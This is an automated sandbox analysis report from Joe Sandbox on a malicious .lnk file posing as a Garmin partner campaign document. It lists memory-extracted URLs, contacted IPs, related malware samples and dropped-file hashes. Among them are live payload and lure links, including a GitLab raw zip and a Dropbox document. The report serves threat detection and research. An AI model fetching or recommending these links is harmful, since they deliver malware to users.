https://www.docsend.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/assets/	powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navi.dropbox.jp/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.2264375688.000001DCD0A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2264375688.000001DCD0B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC21A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCE32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/api/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2042000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.2250355876.000001DCC09E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BCDC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sentry.gitlab.net	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/garmin_campaign_information_for_partners_v4.doc	powershell.exe, 00000011.00000002.2267945163.000001DCD8BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docsend.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.recaptcha.net/	powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com/cd/0/get/CgF0BluLfGxRXMIZ5YnW1OUhQV4A	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.2264375688.000001DCD0A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2264375688.000001DCD0B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC21A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCE32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE82C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	false		high
http://uc322a227a00e76211984e262257.dl.dropboxusercontent.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2042000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://showcase.dropbox.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/serviceworker/	powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 00000011.00000002.2250355876.000001DCC1FFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC1612000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000015.00000002.3347042587.000001A5BCFF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000015.00000002.3347042587.000001A5BCFF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000011.00000002.2250355876.000001DCC1612000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BD9F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://new-sentry.gitlab.net	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000001C.00000003.2476185487.00000208686D0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000001C.00000002.3418749796.000002086880F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/v/s/playlist/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www-env.dropbox-dns.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000015.00000002.3347042587.000001A5BCFF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/spreadsheets/fsip/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.28.dr	false		high
https://docs.google.com/document/fsip/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.dropbox.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canny.io/sdk.js	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/sandbox/	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/admin/	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://customers.gitlab.com	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/stare2/garmin/-/raw/main/fuknewga1112de.zip	powershell.exe, 00000015.00000002.3408390322.000001A5D50B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/speedscope/index.html	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sourcegraph.com	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.doc	powershell.exe, 00000011.00000002.2250130539.000001DCC04C3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC0C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000011.00000002.2250355876.000001DCC09E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BCDC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/r35bmmcqt1un6z	powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.paypal.com/sdk/js	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/fsip/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.69.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573654
Start date and time:	2024-12-12 12:58:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@33/21@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 7 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 40.126.53.19, 20.223.35.26, 20.223.36.55, 13.107.246.63, 2.16.158.83, 4.175.87.197, 150.171.27.10, 2.16.158.74
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 2356 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7424 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:59:09	API Interceptor	116x Sleep call for process: powershell.exe modified
06:59:41	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.69.18	https://feji.us/m266he	Get hash	malicious	Unknown	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse
	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjshdf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	https://www.google.cv/url?duf=FbLLcAJXWZoeUZJIjST2&lfg=uVQGQao2QJuMH6TEkmpq&sa=t&fmc=XCKeeJBBTaVsgNFTQcDe&url=amp%2Fshairmylife.com%2Fkam%2FOATWMWQPC27P047EIPR32X/YWxpc29ub0B0aG9ydWsuY29t	Get hash	malicious	Unknown	Browse	150.171.27.10
	MHDeXPq2uB.exe	Get hash	malicious	RedLine	Browse	150.171.28.10
	https://prezi.com/i/wuualyitwcxt/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	FW Tarala Electric Group shared .msg	Get hash	malicious	unknown	Browse	150.171.27.10
	https://drive.google.com/uc?export=download&id=1exrW4eArCFn4rWRiZm-_Z8vKtyu_rwNw	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	PO82200283.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	Plugin81139.js	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	150.171.28.10
	https://smialex.id/Frbleuelsas	Get hash	malicious	Anonymous Proxy	Browse	150.171.28.10
	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	150.171.27.10
gitlab.com	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78
	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjshdf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	II.f_Campaign Information for Partners(27Nov).docx.lnk	Get hash	malicious	Unknown	Browse	172.65.251.78
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
www-env.dropbox-dns.com	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.65.18
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	162.125.65.18
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.65.18
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.65.18
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	162.125.69.18
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	162.125.69.18
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	162.125.65.18
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse	162.125.69.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	33abb.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	56ff7c.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://www.google.cv/url?duf=FbLLcAJXWZoeUZJIjST2&lfg=uVQGQao2QJuMH6TEkmpq&sa=t&fmc=XCKeeJBBTaVsgNFTQcDe&url=amp%2Fshairmylife.com%2Fkam%2FOATWMWQPC27P047EIPR32X/YWxpc29ub0B0aG9ydWsuY29t	Get hash	malicious	Unknown	Browse	104.17.25.14
	57ff67.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://productfocus.com	Get hash	malicious	Unknown	Browse	104.26.0.186
	427c7bdc-ea02-97de-e5ef-a2c58c2d0a48.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	setup (2).msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	Non_disclosure_agreement.lnk.download.lnk	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	104.20.3.69
DROPBOXUS	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	162.125.69.18
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	162.125.40.3
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	162.125.69.15
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	162.125.65.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Kopia p#U0142atno#U015bci_Santander_TF1903218545300000564290004.zip	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	https://www.google.cv/url?duf=FbLLcAJXWZoeUZJIjST2&lfg=uVQGQao2QJuMH6TEkmpq&sa=t&fmc=XCKeeJBBTaVsgNFTQcDe&url=amp%2Fshairmylife.com%2Fkam%2FOATWMWQPC27P047EIPR32X/YWxpc29ub0B0aG9ydWsuY29t	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	RQ--029.msi	Get hash	malicious	AteraAgent	Browse	162.125.69.18 172.65.251.78
	3d#U0438.hta	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse	162.125.69.18 172.65.251.78
	RFQ-004282A.Teknolojileri A.S.exe	Get hash	malicious	AgentTesla	Browse	162.125.69.18 172.65.251.78
	Strait STS.vbs	Get hash	malicious	Remcos, GuLoader	Browse	162.125.69.18 172.65.251.78
	Shipping Documents.exe	Get hash	malicious	MassLogger RAT	Browse	162.125.69.18 172.65.251.78
	https://computeroids.com/hp-printer-driver?utm_source=Google&utm_medium=Click&utm_campaign=HP&utm_term=%7Bkeywords%7D&utm_content=%7Bmedium%7D&tm=tt&ap=gads&aaid=adaHxflMmgPq7&camp_id=12260099411&ad_g_id=118845692873&keyword=install%20hp%20printer%20to%20computer&device=c&network=searchAd&adposition=&gad_source=5&gclid=EAIaIQobChMI0JDUvuabigMV_Uf_AR2MuQCMEAAYASAAEgKQMPD_BwE	Get hash	malicious	PureLog Stealer	Browse	162.125.69.18 172.65.251.78

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263295060364633
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH01:9JZj5MiKNnNhoxuI
MD5:	ED52C92EC589FCA4DBEEC7E6441FE9F5
SHA1:	9DF3486341557353A1E4D74236458873A9A2FEC1
SHA-256:	7CCA786CB9411D22CDB7A278D9F3895A1874BAFFD7298CF80DCE34EE1254E759
SHA-512:	5B07475CE63A51059127C6D87F0C6AF1D93EE7F4EFE4B5615BFF6A9A1C1E29860D812CBFB711DF2214CDC14406EF886C5A66013B1CD4E5CE9FDFCAD6D6477157
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x54d35b25, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556094810164891
Encrypted:	false
